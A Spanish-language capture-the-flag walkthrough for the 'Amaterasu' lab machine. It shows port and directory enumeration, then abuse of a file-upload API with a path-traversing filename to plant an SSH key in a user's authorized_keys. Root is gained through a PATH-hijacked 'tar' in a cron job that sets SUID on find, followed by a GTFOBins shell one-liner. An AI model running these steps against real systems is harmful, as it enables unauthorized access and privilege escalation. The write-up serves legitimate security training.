Enumeración
Puertos abiertos
Comenzamos la resolución de la máquina Amaterasu, enumerando que puertos tiene abiertos el sistema objetivo.
Copy nmap -p- --open --min-rate 500 -Pn -n 192.168.180.249
Tres puertos abiertos: 21, 25022, 33414 y 40080. Seguimos enumerando de manera profunda los servicios abiertos.
Copy nmap -p21,25022,33414,40080 -sVC -Pn -n 192.168.180.249
Copy Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-18 06:48 EDT
Nmap scan report for 192.168.180.249
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.163
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
25022/tcp open ssh OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| 256 68c605e8dcf29a2a789beea1aef6381a (ECDSA)
|_ 256 e989ccc21714f3bc6221064a5e7180ce (ED25519)
33414/tcp open unknown
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.3 Python/3.9.13
| Date: Tue, 18 Jul 2023 10:49:03 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| Help:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('HELP').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
40080/tcp open http Apache httpd 2.4.53 ((Fedora))
|_http-server-header: Apache/2.4.53 (Fedora)
|_http-title: My test page
| http-methods:
|_ Potentially risky methods: TRACE
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33414-TCP:V=7.93%I=7%D=7/18%Time=64B66E1C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/
SF:2\.2\.3\x20Python/3\.9\.13\r\nDate:\x20Tue,\x2018\x20Jul\x202023\x2010:
SF:49:03\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent
SF:-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<htm
SF:l\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1
SF:>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20se
SF:rver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20c
SF:heck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(HTTPOptions
SF:,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.3\x
SF:20Python/3\.9\.13\r\nDate:\x20Tue,\x2018\x20Jul\x202023\x2010:49:03\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang
SF:=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>The
SF:\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\x2
SF:0If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x20y
SF:our\x20spelling\x20and\x20try\x20again\.</p>\n")%r(RTSPRequest,1F4,"<!D
SF:OCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\"
SF:>\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\"
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x
SF:20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>
SF:Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\
SF:x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQ
SF:UEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.<
SF:/p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Help,1EF,"<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equi
SF:v=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20
SF:</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Er
SF:ror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:
SF:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20requ
SF:est\x20syntax\x20\('HELP'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>E
SF:rror\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20
SF:request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x2
SF:0</body>\n</html>\n");
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.59 seconds
Interesante, puerto 21 (servidor FTP con acceso para usuario anonymous), 25022, 33414 y 40080 (Servidor Apache)
Enumeración Web
La máquina objetivo está ejecutando un servidor Web en el puerto 40080. Veamos su contenido.
Vamos a enumerar directorios y archivos que puedan ser interesantes.
Copy dirsearch -u "http://192.168.180.249:40080/" -i 200,301 -t 20
No encontramos nada interesante.
Realizamos el mismo proceso para el servicio que se está ejecutando en el puerto 33414.
Realizamos la enumeración de directorios y archivos.
Copy dirsearch -u "http://192.168.180.249:33414/" -i 200,301 -t 20
Encontramos dos directorios: /help e /info. Veamos su contenido. En el directorio /help, encontramos diferentes utilidades que hay disponibles.
En /info vemos lo siguiente:
Vemos que estamos enumerando una API REST. También encontramos un posible usuario del sistema, "Alfredo".
Veamos que información interesante podemos enumerar con las utilidades que encontramos en el directorio /help.
Podemos enumerar archivos del sistema.
Además, podemos confirmar que "alfredo" es usuario del sistema.
Existe una utilidad de carga de archivos pero con método POST.
Pero tenemos un posible vector de entrada.
Explotación
Vamos a intentar subir archivos realizando peticiones de tipo POST utilizando cURL. Esto lo hacemos de la siguiente forma:
Copy curl -X POST http://192.168.180.249:33414/file-upload
No hemos adjuntado ningún archivo en la petición. Vamos a crear un archivo de pruebas para tratar de subirlo a la máquina objetivo.
Copy curl -F file=@securiters.txt http://192.168.180.249:33414/file-upload
Copy curl -F filename="securiters.txt" -F file=@securiters.txt http://192.168.180.249:33414/file-upload
Se ha subido el archivo, vamos a comprobar en que directorio está en el servidor.
Vamos a comprobar ahora, si podemos subir archivos al directorio del usuario "alfredo".
Copy curl -F filename="/home/alfredo/securiters.txt" -F file=@securiters.txt http://192.168.180.249:33414/file-upload
Comprobemos si podemos acceder al directorio .ssh de este usuario.
Copy curl -F filename="/home/alfredo/.ssh/securiters.txt" -F file=@securiters.txt http://192.168.180.249:33414/file-upload
Sabiendo esto, ¿que podemos hacer? Podemos tratar de subir una clave pública a este directorio para poder conectarnos como usuario "alfredo" sin necesidad de contraseña. Vamos a hacerlo de la siguente manera:
Copy curl -F filename="/home/alfredo/.ssh/authorized_keys" -F file=@id_rsa.pub http://192.168.180.249:33414/file-upload
Pero solo se permiten determinados tipos de archivos.
Copy cp id_rsa.pub id_rsa.pub.txt
curl -F filename="/home/alfredo/.ssh/authorized_keys" -F file=@id_rsa.pub.txt http://192.168.180.249:33414/file-upload
Habiendo transferido correctamente el archivo, ahora podremos conectarnos a la máquina vía SSH.
Copy ssh -p 25022 -i id_rsa alfredo@192.168.180.249
Ya tenemos acceso a la máquina como usuario "Alfredo". Vamos a buscar la flag local.txt.
Elevación de privilegios
Enumeramos el archivo /etc/crontab
Vemos un ejecutable bash que se ejecuta cada minuto. Veamos el contenido de este script.
Vemos el directorio /restapi.
No existe ejecutable "tar" así que podemos crear uno malicioso de la siguiente manera:
Copy nano tar
#!/bin/bash
chmod u+s /usr/bin/find
Damos permisos
Después de un minuto, vamos a comprobar los archivos con permisos SUID
Copy find / -perm -u=s -type f 2>/dev/null
Visitamos GTFOBins para ver como podemos elevar privilegios aprovechando esto.
Copy /usr/bin/find . -exec /bin/sh -p \; -quit
Solo quedará buscar la flag proof.txt para finalizar el CTF.